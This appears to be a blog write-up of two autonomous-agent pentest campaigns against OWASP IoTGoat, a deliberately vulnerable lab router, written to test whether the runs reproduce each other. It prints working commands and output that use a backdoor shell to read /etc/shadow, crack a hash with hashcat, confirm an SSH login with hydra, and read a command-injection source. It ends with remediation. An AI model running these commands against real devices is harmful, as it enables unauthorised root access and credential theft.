· 7 min read
OWASP IoTGoat is a deliberately vulnerable OpenWrt appliance, built to teach embedded security. That makes it a good reproducibility test for an autonomous pentester: the findings are known in advance, so the question is not whether an agent can find something, it is whether two independent runs find the same things and describe them the same way.
We ran two separate campaigns against the same live device at 172.17.0.5, hours apart, with no state carried between them. Both reached root. Neither invented anything the other did not see.
What the two runs found
Campaign one produced 9 findings, 3 of them exploited.
| Severity | Count |
|---|---|
| Critical | 4 (3 exploited) |
| High | 3 (confirmed) |
| Medium | 2 (confirmed) |
| Total | 9 |
Campaign two produced 12 findings, 4 exploited, and went further into persistence and key material.
| Severity | Count |
|---|---|
| Critical | 4 (3 exploited) |
| High | 5 (1 exploited) |
| Medium | 3 (confirmed) |
| Total | 12 |
The way in, in both runs
A daemon called shellback listens on TCP 5515 and hands out a root shell to anyone who connects. It announces itself:
printf "id\n" | nc -w 5 172.17.0.5 5515
[***]Successfully Connected to IoTGoat's Backdoor[***]
uid=0(root) gid=0(root)No credentials, no exploit, no race. The two campaigns reached it with different tooling, one using nc and the other curl telnet://, and both recorded the same banner and the same uid. From there the device is fully readable:
printf "cat /etc/shadow\n" | nc -w 5 172.17.0.5 5515
root:$1$<md5crypt hash>:18145:0:99999:7:::
iotgoatuser:$1$<md5crypt hash>:18145:0:99999:7:::
printf "uname -a\n" | nc -w 5 172.17.0.5 5515
Linux IoTGoat 4.14.95 #0 SMP Wed Jan 30 12:21:02 2019 i686 GNU/Linux
DISTRIB_ID='OpenWrt' DISTRIB_RELEASE='18.06.2' DISTRIB_REVISION='r7676-cddd7b4c77'Password hashes are MD5crypt, an algorithm that has been unsuitable for password storage for two decades, which the reports record as its own medium severity finding rather than folding it into the shadow file exposure.
A second, independent way in
Campaign one took the hash it had just read and cracked it, then proved the credential works over SSH:
hashcat -m 500 '$1$<hash for iotgoatuser>' /tmp/biglist.txt --potfile-disable
-> cracked: 7ujMko0vizxv
hydra -l iotgoatuser -p 7ujMko0vizxv ssh://172.17.0.5:2222 -t 1
[2222][ssh] host: 172.17.0.5 login: iotgoatuser password: 7ujMko0vizxv
1 of 1 target successfully completed, 1 valid password foundThat password is one of the credentials hardcoded in the original Mirai botnet source. A device shipping with a Mirai default is not merely weak, it is in the list that automated botnets have been spraying at the internet since 2016. The Dropbear configuration also permits root password authentication.
The third path, which neither run took
Both campaigns found a hidden command injection endpoint in the LuCI web interface, and both stopped at reading its source through the backdoor:
printf "cat /usr/lib/lua/luci/controller/iotgoat/iotgoat.lua\n" | nc -w 5 172.17.0.5 5515
function webcmd()
local cmd = http.formvalue("cmd")
if cmd then
local fp = io.popen(tostring(cmd).." 2>&1")
local result = fp:read("*a")
fp:close()A form value passed straight into io.popen as root, reachable at /cgi-bin/luci/admin/iotgoat/webcmd, with a hidden page at /admin/iotgoat/cmdinject described in the controller as a developer diagnostics page.
Marked confirmed, in both runs
Neither campaign posted a command to that endpoint. Both read the Lua source, quoted the vulnerable lines, and recorded the finding as confirmed rather than exploited. The agent already had root through the backdoor, so demonstrating a second execution path would have added risk to a live device without adding evidence. Two independent runs made the same call, which is the consistency we were testing for.
Persistence, keys and the rest of the surface
Campaign two spent its extra findings on how the backdoor survives a reboot and what else the device gives up:
- Persistence in four places.
/etc/rc.localstarts/usr/bin/shellback &andtelnetd -p 65534 &, there is an init script at/etc/init.d/shellback, a startup symlink/etc/rc.d/S95shellback, and/etc/config/shellbackhasoption enabled 1. Removing any one of them is not enough. - The backdoor binary confirmed by its own symbols.
strings /usr/bin/shellbackshowssocket,bind,listen,accept,fork,dup2,execveand/bin/busybox sh, which is a shell server in symbol form. - Key material. The TLS private key at
/etc/uhttpd.keywas read, and the Dropbear SSH host key was located. Anyone holding those can impersonate the device and decrypt its traffic. - Telnet on 65534. Confirmed with
netstatand the process list, cleartext credentials by design. - UPnP with
secure_mode=noand an ACL ofallow 1024-65535 0.0.0.0/0 0-65535, meaning any host on the network can map any port to any internal address. - An open WiFi access point, SSID
OWASP IoTGoat,encryption 'none'. - A firmware stack from 2017 to 2019: OpenWrt 18.06.2, kernel 4.14.95, Dropbear 2017.75, dnsmasq 2.73, BusyBox 1.28.4, mbedTLS 2.14.1, miniupnpd 2.1, all end of life.
- A firewall that does not filter.
rfc1918_filter=0on the web server andoption input 'ACCEPT'on the LAN zone and in the defaults.
Remediation
- Remove
shellbackand every persistence hook: the binary, the init script, the rc.d symlink, the UCI config entry and the rc.local line. Then rebuild the image rather than patching a running device. - Delete the
iotgoatuseraccount, and never ship a device with a credential from any public list. - Move password storage off MD5crypt, disable root password authentication in Dropbear, and disable telnet entirely.
- Remove the LuCI diagnostics controller, or authenticate it and stop passing user input to
io.popen. - Regenerate the TLS and SSH host keys, since both are compromised the moment the filesystem is readable.
- Enable WPA2 or WPA3 on the access point, turn on UPnP secure mode with a restrictive ACL, restore the RFC1918 filter, and set the firewall input policy to reject.
- Update the firmware stack. Every component listed above has known CVEs and no upstream support.
What this proves about autonomous pentesting
Reproducibility is the property that makes an automated report worth reading. Two runs, different tooling, same banner, same uid, same hashes, same Lua source, same decision to stop short of firing the command injection. The second run found more, because it spent its budget on persistence and key material rather than re-proving the way in. Neither run claimed anything the device did not print.
Darkmoon is open source under GPL-3.0: repository, documentation.